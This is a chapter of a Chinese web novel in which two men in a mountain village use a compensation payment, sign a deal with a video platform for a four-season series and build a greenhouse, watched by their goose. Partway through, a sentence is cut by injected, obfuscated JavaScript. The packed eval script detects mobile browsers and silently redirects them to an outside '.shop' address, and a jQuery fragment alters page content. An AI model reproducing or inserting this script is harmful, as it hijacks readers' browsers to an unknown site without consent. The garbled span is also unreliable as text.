26. 《共枕青山》
作品:《共枕青山》 那笔赔偿金到账的时候,沈叙正蹲在院子里给村霸梳毛。
手机响了一声,他掏出来看了一眼,是一串比之前协议上写的还多一点的数字,大概是算了利息。他盯着那串数字看了几秒,然后把手机揣回口袋,继续给村霸梳毛。
村霸今天心情不错,躺在他脚边,眼睛眯成一条缝,喉咙里发出满足的咕噜声。它的毛比刚来的时候厚实多了,摸起来软软的,像抱了一个暖烘烘的热水袋。
陆时砚从书房里出来,在他旁边蹲下,“到了?”
沈叙点点头。
陆时砚没问多少,只是伸手摸了摸村霸的脑袋。村霸睁开眼睛看了他一眼,又把眼睛闭上了。
:别打扰我享受鹅生。
两人就这样蹲在院子里,一个给鹅梳毛,一个在旁边看着,谁都没说话。
阳光从老槐树的枝丫间漏下来,在他们身上投下一片片晃动的光斑。院子里的菜地已经收拾干净了,等着明年春天再种。墙角码着几捆前几天劈的柴火,整整齐齐。
村霸的呼噜声在安静的院子里显得格外清晰。
沈叙垂眸摸摸村霸的毛,说:“我想给院子装个暖棚。”
“为什么?屋里有火炕。”
沈叙说:“冬天太冷了,村霸老缩着。装个暖棚,它能晒太阳,我们也能在院子里多待会儿。”
陆时砚想了想,说:“行。”
沈叙继续说:“还想换个好点的相机镜头。你上次说想买那个,太贵没舍得。现在可以买了。”
“还有吗?”
沈叙想了想,说:“剩下的存着。以后想去哪儿就去哪儿。”
陆时砚看着他,眼睛里的浓烈的感情从不掩饰。沈叙被看得有点不好意思,低头继续给村霸梳毛。
村霸翻了个身,把另一边的肚皮露出来。
下午,陆时砚接了一个电话。
沈叙在旁边听着,隐约听见“平台”“合作”“新系列”这些词。陆时砚的话不多,只是偶尔“嗯”一声,或者问一两个问题。
挂了电话,他坐在那里,沉默了一会儿。
沈叙问:“怎么了?”
陆时砚说:“是那个平台。之前想赞助我们去贡嘎的那个。”
沈叙的心提了一下,“他们又找你了?”
“嗯,他们说看了我们最近发的那些视频,想合作做一个系列。联合出品,他们出钱出资源,我们负责拍,版权还是我们的。”
沈叙听着,脑子开始转。
联合出品,不是赞助。版权归创作者。出钱出资源,不干涉创作自由。
这个条件,比之前那个好太多了。
他问:“你怎么想?”
陆时砚想了想,说:“有点心动。”
“那就接。”
陆时砚转头看他,“接?”
沈叙说:“条件这么好,不接白不接。而且我们一起去拍,一起去想,一起去把它做好。有什么好怕的?”
“好。”他说,“那就接。”
晚上,他们坐在书房里,开始商量那个新系列。
陆时砚打开电脑,调出之前拍的那些素材。沈叙在旁边拿着本子,一边听一边记。
陆时砚说:“他们想要一个长线系列,每集十五分钟左右。主题是乡村生活和日常,但要有主线。”
沈叙问:“什么主线?”
陆时砚想了想,说:“四季。”他看着窗外,“从冬天开始,然后是春天、夏天、秋天,拍这一年的变化。”
沈叙听着,心里忽然涌起一阵说不清的期待。
四季。
这一年,他们可以一起走过这一年,然后用镜头留下来。
他说:“这个好。”
陆时砚笑了。
两人开始商量每一集的主题。冬天拍什么,春天拍什么,夏天拍什么,秋天拍什么。哪些地方要去,哪些人要拍,哪些事要记录下来。
沈叙一边听一边记,偶尔提个建义,村霸趴在门口,歪着脑袋监工。
商量到一半,沈叙忽然想起一件事。
“这个系列,叫什么名字?”
陆时砚愣了一下。
沈叙说:“总得起个名字吧。”
陆时砚想了想,说:“你起。”
沈叙看着他,不太明白:“我起,为什么?”
陆时砚说:“这是我们一起拍的。你起名字。”
沈叙低头想了想,然后抬头说:“叫《共枕青山》?”
陆时砚琢磨了一下这四个字,嘴角不住上扬。
“好。”
与你共枕青山,静候四季轮回,不问人间朝夕。
他们聊到很晚,从系列主题聊到具体执行,需要准备什么,哪些设备要升级,哪些地方要去踩点。村霸早就回窝睡觉了,月亮也升到了中天,书房的灯还亮着。
最后沈叙打了个哈欠,陆时砚才说:“今天就到这儿吧。”
沈叙点点头,合上本子,站起来。
陆时砚也站起来,走过去把窗帘拉上。
第二天早上,陆时砚站在老槐树下,手里拿着手机。
听见开门声,他回头看了一眼,对电话那边说了句“稍等”,然后捂住话筒,对沈叙说:“是平台的。在谈合同细节。”
沈叙点点头,走过去,在他旁边站着。
陆时砚继续接电话,偶尔问一两个问题,偶尔“嗯”一声。沈叙在旁边听着,脑子开始转那些条款——分成比例、版权归属、播出时间、宣传配合。
等陆时砚挂了电话,他说:“我帮你拟个合同。虽然那边会出合同,但我们要先知道自己要什么,不能让他们牵着走。”
“好。”
吃过午饭后沈叙坐在电脑前,开始拟合同。
他很久没做这种事了,但手指放在键盘上的时候,那些曾经烂熟于心的条款、措辞、注意事项,又一点一点浮了上来。
陆时砚在旁边看素材,村霸跃上自己的专属小凳子,把头搭在陆时砚大腿上,跟他一起看着一脸认真专业的沈叙。
阳光从窗户照进来,把书房照得暖洋洋的。
沈叙拟完初稿,伸了个懒腰,转头看向陆时砚。他正在看屏幕,瞳孔被阳光印成金色。
陆时砚察觉到他的目光,转头看他,“怎么了?”
沈叙摇摇头,笑了笑,“没什么。”
又过了几天,合同签好了。
平台那边的负责人特意打了个电话过来,说很期待这个系列,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332213|198711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有什么需要随时联系,说相信他们一定能做好。
陆时砚挂了电话,看向沈叙:“合同签了。”
沈叙停下手中的动作
陆时砚说:“接下来要忙了。”
“忙就忙呗,又不是一个人。”
村霸抬起头,看看这个,又看看那个,“嘎”了一声。
:你们能不能先把我梳完?
冬天来了。
第一场雪落下来,沈叙正在院子里扫落叶。
那些叶子落下来的时候还是黄的,被雪一盖,就什么都看不见了。他拿着扫帚站在那里,看着雪花一片一片落下来,落在老槐树的枝丫上。
村霸蹲在墙角,抬着头看那些雪花,偶尔伸出嘴巴接一片,然后甩甩头,像是被冰到了。
陆时砚从屋里出来,站在他旁边,两人就这样站着,看着这场冬天的第一场雪。
雪越下越大,很快就白了整个院子。老槐树的枝丫被压弯了一点,在风里轻轻摇晃。村霸缩回窝里,只露出一个脑袋,眼睛滴溜溜地转。
沈叙说:“暖棚得赶紧装。”
陆时砚点点头,“嗯。”
“你别动,我来。”
陆时砚挑眉,“行。”
第二天,他们就开始忙暖棚的事。
找人来量尺寸,买材料,搭架子。沈叙第一次干这种活,陆时砚在旁边教他,顺便搭把手,看着他手忙脚乱的动作笑。
村霸在旁边监工,时不时“嘎”一声,像是在提意见。
暖棚搭好的当天晚上,他们坐在里面喝茶。
棚子不大,刚好能放下一张小桌子和两把椅子。透明的塑料布把冷风挡在外面,阳光照进来的时候暖洋洋的。村霸趴在他们脚边,把肚皮贴着地面,眼睛眯成一条缝,舒服得直哼哼。
沈叙端着茶杯,看着棚外的雪。
雪还在下,一片一片,落在暖棚顶上,很快就积了薄薄一层。透过那层雪,能看见外面的老槐树、山影和偶尔飞过的鸟。
“以前在城市里,最讨厌冬天。”
“冬天太冷了,路上都是冰,挤地铁的时候特别难受。晚上加班出来,风一吹,整个人都僵了。回到出租屋,暖气又不热,得穿着羽绒服睡觉。”
“那时候觉得,冬天就是用来熬的。熬过去就好了。”
他看着眼前的雪,“现在觉得,冬天也挺好的。”
陆时砚握着他的手,村霸把头搭上他们相握的手间。
雪还在下,暖棚里很暖和。
沈叙靠在陆时砚肩上,看着棚外的雪,听着村霸的呼噜声,心里很安静。
和这个人一起,度过每一个冬天。
月亮升起来的时候,雪停了。
沈叙走出暖棚,站在院子里,看着满地的雪。月光照在雪上,把整个世界都映得亮堂堂的。老槐树的影子投在雪地上,细细长长的,像一幅水墨画。
陆时砚走到他身边,和他一起看着这片银白色的世界。
沈叙说:“明天开始拍了吧?”
陆时砚点点头:“嗯。冬天的第一集。”
“好。”
村霸从暖棚里探出脑袋,看看他们,“嘎”了一声。
:拍就拍,别吵我睡觉。

